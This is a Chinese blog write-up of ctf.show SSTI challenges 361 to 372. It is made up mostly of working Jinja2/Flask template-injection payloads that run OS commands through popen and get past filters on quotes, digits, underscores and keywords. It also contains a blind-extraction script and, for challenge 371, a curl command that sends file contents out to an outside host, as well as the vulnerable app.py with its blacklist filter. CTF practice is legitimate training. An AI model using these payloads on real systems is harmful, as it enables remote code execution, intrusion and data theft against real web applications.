CTFSHOW-SSTI


SSTI

web 361

名字就是考点

这里就是考的参数是 name

这个就是最简单的 SSTI ,没有任何过滤

{{ "".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls ../').read() }}

image

web 362

应该是过滤了数字,但是1没被过滤,最铸币的方法就是1+1一直加下去(

image

image

这里看 wp 发现另一个做法,用全角字符替代数字

def half2full(half):  
    full = ''  
    for ch in half:  
        if ord(ch) in range(33, 127):  
            ch = chr(ord(ch) + 0xfee0)  
        elif ord(ch) == 32:  
            ch = chr(0x3000)  
        else:  
            pass  
        full += ch  
    return full  
t=''
s="0123456789"
for i in s:
    t+='\''+half2full(i)+'\','
print(t)
{{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat ../f*').read()}}

image

这里还学到另一种方法,利用已有函数,去获取 __builtins__

{{ url_for.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()") }}

或者直接拿 os

{{ url_for.__globals__['os'].popen('ls').read() }}

这里还有一种方法,x可以用任意字母

{{ x.__init__.__globals__['__builtins__'] }}

再或者用循环来构造

{% for i in "".__class__.__base__.__subclasses__() %}
{% if i.__name__ == '_wrap_close' %}
{% print i.__init__.__globals__['popen']('ls').read() %}
{% endif %}
{% endfor %}

web 363

被过滤了 ""​ 和 ''

这里学到可以用 request.args.a 来获取数据

{{1.__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.a](request.args.b).read()}}
&a=popen&b=ls

image


还可以用字符串拼接

这里使用 flask 配置的 config 获取字符,就是有点麻烦,要一个个找

{{config.__str__()[1]}}

image

也可以先看看里面有什么东西

{{ config.__str__() }}

然后使用一个简单的 python 脚本来实现就行

a=  """<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(seconds=43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>
"""
b = []

code = "cat /flag"
for j in code:
    for i in range(len(a)):
        if a[i] == j:
            b.append(i)
            break

fina = ""
for i in b:
    fina += f"(config.__str__()[{i}])%2B"

print(fina)

然后拼接命令就行

{{ url_for.__globals__[(config.__str__()[2])%2B(config.__str__()[42])].popen((config.__str__()[22])%2B(config.__str__()[40])%2B(config.__str__()[23])%2B(config.__str__()[7])%2B(config.__str__()[279])%2B(config.__str__()[4])%2B(config.__str__()[41])%2B(config.__str__()[40])%2B(config.__str__()[6])).read() }}

相当于

{{ url_for.__globals__['os'].popen("cat /flag").read() }}

image

web 364

多过滤了 request.args.a 这个,但是字符拼接还是可以用的

image

上一题的 config 拼接依旧可以用

这里多学了一个获取 chr

{% set chr=url_for.__globals__.__builtins__.chr %}
{% print url_for.__globals__[chr(111)+chr(115)].popen(chr(108)%2Bchr(115)).read() %}

image

这里看wp发现有一个请求的方法没有被过滤,request.cookies.a

{{ url_for.__globals__[request.cookies.a].popen(request.cookies.b).read() }}

cookie :a=os;b=ls

image

这里还有一个获取请求数据的 request.values.a , 这个可以获取 post 和 get 的值

{{ url_for.__globals__.os.popen(request.values.a).read() }}&a=ls

web 365

多过滤了 [] ,request 的方法依旧能用

{{ url_for.__globals__.os.popen(request.values.a).read() }}&a=ls /

image

这里还学到一个新的,使用 __getitem__​ 绕过 [] 获取字符串

{{ config.__str__().__getitem__(22) }}

image

{{ url_for.__globals__.os.popen((config.__str__().__getitem__(22))%2B(config.__str__().__getitem__(40))%2B(config.__str__().__getitem__(23))%2B(config.__str__().__getitem__(7))%2B(config.__str__().__getitem__(279))%2B(config.__str__().__getitem__(4))%2B(config.__str__().__getitem__(41))%2B(config.__str__().__getitem__(40))%2B(config.__str__().__getitem__(6))).read() }}

web 366

这个甚至把 _​ 给过滤了,所以使用的时候就把 url_for​ 换成了 lipsum​,但是构造不出 __globals__​ 了,这里用到了 flask 自带的过滤器 attr

attr 是用来动态获取某个属性的值

{{ obj|attr('属性') }}
{{ attr(obj,'属性') }}
{{ (lipsum|attr(request.values.a)).os.popen(request.values.b).read() }}

&a=__globals__&b=ls

image

web 367

os 被过滤了

image

这里可以使用 get 来获取 request 的值

{{ (lipsum|attr(request.values.a)).get(request.values.c).popen(request.values.b).read() }}

&a=__globals__&b=ls&c=os

image

也可以全部都用 attr 过滤得到

{{ (x|attr(request.values.a)|attr(request.values.b)|attr(request.values.c))(request.values.d).eval(request.values.f) }}

&a=__init__&b=__globals__&c=__getitem__&d=__builtins__&f=__import__('os').popen('ls').read()

相当于

{{ x.__init__.__globals__.__getitem__['__builtins__'].eval(cmd) }}

web 368

多过滤了 {{}}​,使用 {%%} 是一样的

{% print (lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}

&a=__globals__&b=os&c=ls

image

这里看wp学到一种使用 {%%} 盲注的方法

  • 因为使用了格式化字符串,所以原本的 {} 需要转义
import requests

url="https://b584c9c0-9c2d-46e5-aa9a-f0ebe0b625e0.challenge.ctf.show"
flag=""
for i in range(1,100):
    for j in "abcdefghijklmnopqrstuvwxyz0123456789-{}":
        params={
            'name':f"{{% set a=(lipsum|attr(request.values.a)).get(request.values.b).open(request.values.c).read({i}) %}}{{% if a==request.values.d %}}marin{{% endif %}}",
            'a':'__globals__',
            'b':'__builtins__',
            'c':'/flag',
            'd':f'{flag+j}'
        }
        r=requests.get(url=url,params=params)
        if "marin" in r.text:
            flag+=j
            print(flag)
            if j=="}":
                exit()
            break


相当于使用,open 配合 read 读取前面的字符,但是这个方法我感觉其实限制挺大的,可能他需要 waf 了 print,并且只能用 {%%},去匹配,而且还要知道文件位置,先记着

{% print lipsum.__globals__['__builtins__'].open("/flag").read(i) %}

image

web 369

request​ 被 waf 了,所以要构造字符了,使用 config 应该是最简单的了,但是不能使用 __str__()

这里学到一个过滤器调用 config|string​ ,意思先获取 config 对象,然后转化成字符串,等价于 str(config)​,这里还是差一个 __getitem__()​ 或 [] 去获取字符,但是都被 waf 了

这里学到的一个方法是利用列表的 pop 来获取字符,然后可以用 lower 获取小写字符

{% print (config|string|list).pop().lower() %}

image

然后就可以使用脚本来获取字符,忒长了(

{% print (lipsum|attr(((config|string|list).pop(74).lower())%2B((config|string|list).pop(74).lower())%2B((config|string|list).pop(6).lower())%2B((config|string|list).pop(41).lower())%2B((config|string|list).pop(2).lower())%2B((config|string|list).pop(33).lower())%2B((config|string|list).pop(40).lower())%2B((config|string|list).pop(41).lower())%2B((config|string|list).pop(42).lower())%2B((config|string|list).pop(74).lower())%2B((config|string|list).pop(74).lower())))
.get(((config|string|list).pop(2).lower())%2B((config|string|list).pop(42).lower()))
.popen(((config|string|list).pop(41).lower())%2B((config|string|list).pop(42).lower())).read() %}

image


还学到了一种新方法,构造敏感函数

{% set po=dict(po=a,p=a)|join %}

dict() :创建一个字典

|join​ :是一个过滤器,将一个可迭代对象连接成字符串,如果是字典,就只会迭代字典的键,默认用 ''​ 拼接,比如这个语句最后拼接出来的就是 pop 函数,所以变量 po 就是 pop 函数

{% set a=(()|select|string|list)|attr(po)(24) %}

利用 () 创建一个空的元组对象

select​ :过滤器,原本用于筛选序列中的元素,但是作用于一个空元组后,会生成一个生成器对象
image

string​ 和 list​ 前面都提过,然后从这个列表中 pop 出 _

然后就是慢慢构造了

{% set ini=(a,a,dict(in=a,it=a)|join,a,a)|join %}
{% set glo=(a,a,dict(glo=a,bals=a)|join,a,a)|join %}
{% set geti=(a,a,dict(get=a,item=a)|join,a,a)|join %}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join %}

然后利用这些获取 chr 方法,后面就可以方便的构造了

{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built) %}
{% set chr=x.chr %}

后续就可以构造命令了

{% set o=chr(111)%2Bchr(115) %}
{% set cmd=chr(108)%2Bchr(115)%2Bchr(32)%2Bchr(47) %}
{% print (lipsum|attr(glo)).get(o).popen(cmd).read() %}

总的 payload

{% set po=dict(po=a,p=a)|join %}
{% set a=(()|select|string|list)|attr(po)(24) %}
{% set ini=(a,a,dict(in=a,it=a)|join,a,a)|join %}
{% set glo=(a,a,dict(glo=a,bals=a)|join,a,a)|join %}
{% set geti=(a,a,dict(get=a,item=a)|join,a,a)|join %}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join %}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built) %}
{% set chr=x.chr %}
{% set o=chr(111)%2Bchr(115) %}
{% set cmd=chr(108)%2Bchr(115)%2Bchr(32)%2Bchr(47) %}
{% print (lipsum|attr(glo)).get(o).popen(cmd).read() %}

image

web 370

又 waf 了我的数字

这里学到两个方法,当然,全角字符还是能用的

第一个是利用 index 获取特殊的数字,然后获取字符,这里需要提前判断哪些需要的内容在什么位置

{% set o=dict(o=a)|join %}
{% set n=dict(n=a)|join %}
{% set ershisi=(()|select|string|list).index(o)*(()|select|string|list).index(n) %}
{% set liushisi=(()|select|string|list).index(o)*(()|select|string|list).index(o) %}

image

{% set o=dict(o=a)|join %}
{% set n=dict(n=a)|join %}
{% set ershisi=(()|select|string|list).index(o)*(()|select|string|list).index(n) %}
{% set liushisi=(()|select|string|list).index(o)*(()|select|string|list).index(o) %}
# 这个是 /
{% set a=(config|string|list).pop(-liushisi) %}
# 这个是 _
{% set b=(()|select|string|list).pop(ershisi) %}
{% set glo=(b,b,dict(globals=a)|join,b,b)|join %}
{% set built=(b,b,dict(builtins=a)|join,b,b)|join %}
{% set file=(a,dict(flag=a)|join)|join %}
{% print (lipsum|attr(glo)).get(built).open(file).read() %}

还有另一种好用一点的方法,就是利用 length 的过滤器,直接拿到所有数字,通过这个方法我们可以拿到所有的数字

{% set a=dict(a=a)|join|length %}

image

用 chr 又搞了一次,麻烦(

{% set a=dict(a=a)|join|length %}
{% set b=dict(aa=a)|join|length %}
{% set c=dict(aaa=a)|join|length %}
{% set d=dict(aaaa=a)|join|length %}
{% set e=dict(aaaaa=a)|join|length %}
{% set f=dict(aaaaaa=a)|join|length %}
{% set g=dict(aaaaaaa=a)|join|length %}
{% set h=dict(aaaaaaaa=a)|join|length %}
{% set i=dict(aaaaaaaaa=a)|join|length %}
{% set j=dict(aaaaaaaaaa=a)|join|length %}
{% set po=dict(po=a,p=a)|join %}
{% set a=(()|select|string|list)|attr(po)(d*f) %}
{% set ini=(a,a,dict(in=a,it=a)|join,a,a)|join %}
{% set glo=(a,a,dict(glo=a,bals=a)|join,a,a)|join %}
{% set geti=(a,a,dict(get=a,item=a)|join,a,a)|join %}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join %}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built) %}
{% set chr=x|attr(chr) %}
{% set flag=(lipsum|attr(glo)).get(built).open(chr(d*j%2bg)%2Bchr(j*j%2bb)%2Bchr(j*j%2bh)%2Bchr(i*j%2bg)%2Bchr(j*j%2bc)).read() %}
{% print flag %}

image

web 371

print 给禁用了,那就反弹 shell 吧(

不知道是什么问题,但是他这里反弹不了shell,最后是使用 curl 外带数据,直接外带他的数据不完整,所以先写文件再外带,这里测试的时候不知道为什么他这个网站的 curl 老是报错,比如里面不能有 "" ,导致一些我的语句用不了

ls / > /tmp/1.txt

curl -X POST --data-binary @/tmp/1.txt http://192.168.11.42:8888/

{% set a=dict(a=a)|join|length %}
{% set b=dict(aa=a)|join|length %}
{% set c=dict(aaa=a)|join|length %}
{% set d=dict(aaaa=a)|join|length %}
{% set e=dict(aaaaa=a)|join|length %}
{% set f=dict(aaaaaa=a)|join|length %}
{% set g=dict(aaaaaaa=a)|join|length %}
{% set h=dict(aaaaaaaa=a)|join|length %}
{% set i=dict(aaaaaaaaa=a)|join|length %}
{% set j=dict(aaaaaaaaaa=a)|join|length %}
{% set k=dict(aaaaaaaaaaa=a)|join|length %}
{% set po=dict(po=a,p=a)|join %}
{% set a=(()|select|string|list)|attr(po)(d*f) %}
{% set ini=(a,a,dict(in=a,it=a)|join,a,a)|join %}
{% set glo=(a,a,dict(glo=a,bals=a)|join,a,a)|join %}
{% set geti=(a,a,dict(get=a,item=a)|join,a,a)|join %}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join %}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built) %}
{% set chr=x.chr %}
{% set o=dict(o=a,s=a)|join %}
{% set cmd=chr(k*i%2Bi)%2Bchr(k*j%2Be)%2Bchr(d*h)%2Bchr(k*d%2Bc)%2Bchr(d*h)%2Bchr(k*e%2Bg)%2Bchr(d*h)%2Bchr(k*d%2Bc)%2Bchr(k*j%2Bf)%2Bchr(k*i%2Bj)%2Bchr(k*j%2Bb)%2Bchr(k*d%2Bc)%2Bchr(g*g)%2Bchr(k*d%2Bb)%2Bchr(k*j%2Bf)%2Bchr(k*j%2Bj)%2Bchr(k*j%2Bf) %}
{% set code=(lipsum|attr(glo)).get(o).popen(cmd) %}
{% set shell=chr(i*k)%2Bchr(k*j%2Bg)%2Bchr(k*j%2Bd)%2Bchr(k*i%2Bi)%2Bchr(d*h)%2Bchr(e*i)%2Bchr(h*k)%2Bchr(d*h)%2Bchr(h*j)%2Bchr(k*g%2Bb)%2Bchr(k*g%2Bf)%2Bchr(k*g%2Bg)%2Bchr(d*h)%2Bchr(e*i)%2Bchr(e*i)%2Bchr(j*j)%2Bchr(k*h%2Bi)%2Bchr(k*j%2Bf)%2Bchr(k*h%2Bi)%2Bchr(e*i)%2Bchr(k*h%2Bj)%2Bchr(k*i%2Bf)%2Bchr(j*k)%2Bchr(k*h%2Bi)%2Bchr(k*j%2Bd)%2Bchr(k*k)%2Bchr(d*h)%2Bchr(h*h)%2Bchr(k*d%2Bc)%2Bchr(k*j%2Bf)%2Bchr(k*i%2Bj)%2Bchr(k*j%2Bb)%2Bchr(k*d%2Bc)%2Bchr(g*g)%2Bchr(k*d%2Bb)%2Bchr(k*j%2Bf)%2Bchr(k*j%2Bj)%2Bchr(k*j%2Bf)%2Bchr(d*h)%2Bchr(k*i%2Be)%2Bchr(k*j%2Bf)%2Bchr(k*j%2Bf)%2Bchr(k*j%2Bb)%2Bchr(k*e%2Bc)%2Bchr(k*d%2Bc)%2Bchr(k*d%2Bc)%2Bchr(g*g)%2Bchr(f*h)%2Bchr(g*g)%2Bchr(k*d%2Bb)%2Bchr(k*d%2Bg)%2Bchr(k*d%2Bi)%2Bchr(k*d%2Bb)%2Bchr(g*g)%2Bchr(k*d%2Bi)%2Bchr(g*g)%2Bchr(k*d%2Bb)%2Bchr(k*d%2Bh)%2Bchr(e*j)%2Bchr(k*e%2Bc)%2Bchr(g*h)%2Bchr(g*h)%2Bchr(g*h)%2Bchr(g*h)%2Bchr(k*d%2Bc) %}
{% set code=(lipsum|attr(glo)).get(o).popen(shell) %}

这里使用命令测试太麻烦了,于是问 ai 写了一个脚本

code = 'curl -X POST --data-binary @/tmp/1.txt http://192.168.11.42:8888/'

mapping = {'a':1,'b':2,'c':3,'d':4,'e':5,'f':6,'g':7,'h':8,'i':9,'j':10,'k':11}
rev = {v:k for k,v in mapping.items()}

def sym(x: int) -> str:
    return rev[x]

def build_expr(n: int) -> str:
    # 1) 能纯乘法就用纯乘法:p*q,p,q ∈ [2..11]
    for p in range(2, 12):
        for q in range(2, 12):
            if p * q == n:
                return f"{sym(p)}*{sym(q)}"
    # 2) 通用:n = 11*q + r
    q, r = divmod(n, 11)   # q ∈ [2..11], r ∈ [0..10] 对于 n∈[32,125]
    left = f"k*{sym(q)}" if q > 1 else "k"
    return left if r == 0 else f"{left}+{sym(r)}"

out = []
for ch in code:
    n = ord(ch)
    expr = build_expr(n)
    out.append(f"chr({expr})+")


out = "".join(out)
out = out.replace("+","%2B")
print(out)

最后替换一下就能得到 flag

web 372

最后和上面一样的,payload 一样用

把 app.py 拿了出来,看了一下好像是过滤了 count 没什么影响

from flask import Flask
from flask import request
from flask import render_template_string
from flask import session
import re

app = Flask(__name__)
@app.route('/')
def app_index():
        name = request.args.get('name')
        if name:
                if re.search(r"\'|\"|args|\[|\_|os|\{\{|request|[0-9]|print|count",name,re.I):
                        return ':('
        template = '''
{%% block body %%}
        <div class="center-content error">
                <h1>Hello</h1>
                <h3>%s</h3>
        </div> 
{%% endblock %%}
''' % (request.args.get('name'))
        return render_template_string(template)

if __name__=="__main__":
        app.run(host='0.0.0.0',port=80)

文章作者: Marin
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Marin !
  目录